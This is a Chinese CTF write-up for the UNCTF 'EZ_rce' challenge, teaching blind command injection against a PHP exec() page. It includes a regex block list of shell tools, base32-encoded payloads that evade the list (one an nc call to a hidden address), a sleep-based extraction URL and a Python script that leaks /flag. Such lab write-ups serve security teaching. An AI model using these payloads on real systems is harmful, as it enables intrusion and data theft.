前言
-
这次的unctf题目的难度不愧是《腥生赛》,新生没几个,炸鱼的大佬一堆,在工作闲暇之余也是看了看几道题,其他题还好,就是这道题,难度还是挺大的,最后在tz师傅的提醒下,终于是写了出来。
思路
-
rce盲注的思路一般有两种,一是通过dns服务器,把执行的结果外带出去,一种是通过把执行的结果流重定向到文件当中,通过访问文件去查看,还有一种就是我们本次要讲解的,就是字符串阶段+sleep延迟。
UNCTF-EZ_rce
<?php
# flag in /flag
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/@|#|%|:|&|;|\\|"|'|`|.|&|*|>|<|nc|wget|bash|sh|netcat|grep|base64|rev|curl|wget|php|ping|cat|fl|mkdir/i',$code)){
exec($code,$output,$return_val);
if(!$return_val) echo "success";
else{
echo "fail";
}
}
else{
die("小黑子,露出只因脚了吧");
}
}
else{
highlight_file(__FILE__);
}
?>
题目分析
-
首先是过滤了很多东西,在这里curl,nc都不能用,而且过滤了.这个符号,还过滤了``,所以dns外带,和通过shell的方式是行不通了。当然第二种方式能不能用呢,原题通过nginx进行了重定向,哪怕你写入了文件也不能去访问,所以就用到了我们说的第三者方法。
额外
-
这里,如果没有nginx的话,则可以通过文件进行访问,而且可以通过编码去绕过很多限制,base64编码可以绕过,通过base32编码就行。payload如下.
nc $(echo GQZS4MJTHAXDCOBTFY4TKIBYGAYDA===| base32 -d)
-
()当做系统命令,再当做nc的结果。 -
比如我们可以把cat flag |tee 123.txt 分文俩部分,把cat flag进行编码,把 123.txt进行编码。
$(echo MNQXIIDGNRQWO===|base32 -d) |tee $(echo
GEZDGLTUPB2AU=== |base32 -d)
解题
payload
"http://f6ddc688-bdd1-4e22-a36c-61d027ed22e0.node.yuzhian.com.cn/?code=expr%20substr%20$(tail%20%20/f$1lag)%20{0}%201%20==%20{1}%20||%20sleep%201s"
-
其实就是通过 expr substr去截取lag),通过后面的===进行判断,如果成功则不会执行后面的sleep,如果不成功就会执行sleep,有sql时间瞒注那味了。
脚本
import requests
import time
import _thread
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-_'
url="http://f6ddc688-bdd1-4e22-a36c-61d027ed22e0.node.yuzhian.com.cn/?code=expr%20substr%20$(tail%20%20/f$1lag)%20{0}%201%20==%20{1}%20||%20sleep%201s"
def get_flag():
flag=''
for l in range(1, 46):
for j in chars:
start_time = time.time()
turl = url.format(l, j)
requests.get(turl, headers)
if time.time() - start_time > 0.5:
pass
else:
flag += j
print(flag)
break
get_flag()
-
这个可以开个多线程去跑。
原文始发于微信公众号(珠天PearlSky):RCE盲注
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论